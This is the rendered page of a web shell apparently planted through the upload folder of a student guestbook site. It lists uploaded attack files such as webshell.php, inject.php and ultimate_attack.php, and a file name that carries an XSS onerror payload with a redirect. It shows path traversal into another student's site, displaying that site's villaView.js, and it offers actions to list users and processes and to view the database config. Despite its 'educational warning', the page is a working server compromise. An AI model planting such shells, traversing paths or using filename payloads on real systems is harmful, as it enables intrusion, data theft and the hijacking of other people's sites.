🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../589181.klas4s23.mid-ica.nl/public_html/VakantieVilla/js/villaView.js

async function getVilla(id) {
    let data = await VillaRequests.getVillaByID(id);
    console.log(data);
    if (data.success == false) {
        console.error("Failed to get villa");
        // window.location.href = "index.html";

        return;
    }

    let villa = JSON.parse(data.data.Villa);
    console.log(villa);
    document.getElementById("villaName").innerText = villa.Name;
    document.getElementById("villaDescription").innerText = villa.Description;
    document.getElementById("villaImage").src = villa.VillaMainImagePath;
    document.querySelector("#villaPrice p").innerText = `${villa.Price} per nacht`;
    document.querySelector("#villaLocation p").innerText = villa.Location;
    document.querySelector("#villaCapacity p").innerText = `${villa.Capacity} personen`;
    document.querySelector("#villaBedrooms p").innerText = villa.Bedrooms;
    document.querySelector("#villaBathrooms p").innerText = villa.Bathrooms;
    document.querySelector("#villaLocationTags p").innerText = villa.LocationNames.join(", ");
    document.querySelector("#villaPropertyTags p").innerText = villa.PropertyNames.join(", ");

    villa.VillaImagePaths.forEach(villaImage => {
        let img = document.createElement("img");
        img.src = villaImage;
        document.getElementById("fotoList").appendChild(img);
    });
}

let path = ""

function downloadPDF() {
    if (downloadButton.classList.contains("disabled")) {
        return;
    }

    window.open(path, "_blank");
}

async function setPdfPath(id) {
    let pdfPath = await PDFRequests.generatePDF(id);
    console.log(pdfPath); // moeten de console.logs nog?
    if (pdfPath.success == false) {
        console.error("Failed to get pdf path");

        return;
    }

    console.log(pdfPath.data);
    path = pdfPath.data.PDF;
    downloadButton.classList.remove("disabled");
}

const downloadButton = document.getElementById("flyerButton");
downloadButton.classList.add("disabled");

// get id from url
let url = new URL(window.location.href);
let id = url.searchParams.get("villaID");

// convert id to number
getVilla(Number(id));
setPdfPath(Number(id));

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!